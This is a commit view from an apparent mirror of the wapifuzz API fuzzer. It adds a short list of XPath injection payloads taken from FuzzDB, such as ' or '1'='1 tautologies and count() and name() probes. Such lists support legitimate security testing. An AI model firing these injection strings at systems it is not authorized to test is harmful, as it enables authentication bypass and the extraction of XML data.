mirror of
https://github.com/ysoftdevs/wapifuzz.git
synced 2026-04-26 02:28:33 +02:00
Folder removed
This commit is contained in:
15
fuzzer/payloads/lists/xml/xpath.txt
Normal file
15
fuzzer/payloads/lists/xml/xpath.txt
Normal file
@@ -0,0 +1,15 @@
|
||||
# Source: FuzzDB (https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/xpath/xpath-injection.txt)
|
||||
|
||||
' or '1'='1
|
||||
' or ''='
|
||||
x' or 1=1 or 'x'='y
|
||||
/
|
||||
//
|
||||
//*
|
||||
*/*
|
||||
@*
|
||||
count(/child::node())
|
||||
x' or name()='username' or 'x'='y
|
||||
' and count(/*)=1 and '1'='1
|
||||
' and count(/@*)=1 and '1'='1
|
||||
' and count(/comment())=1 and '1'='1
|
||||
Reference in New Issue
Block a user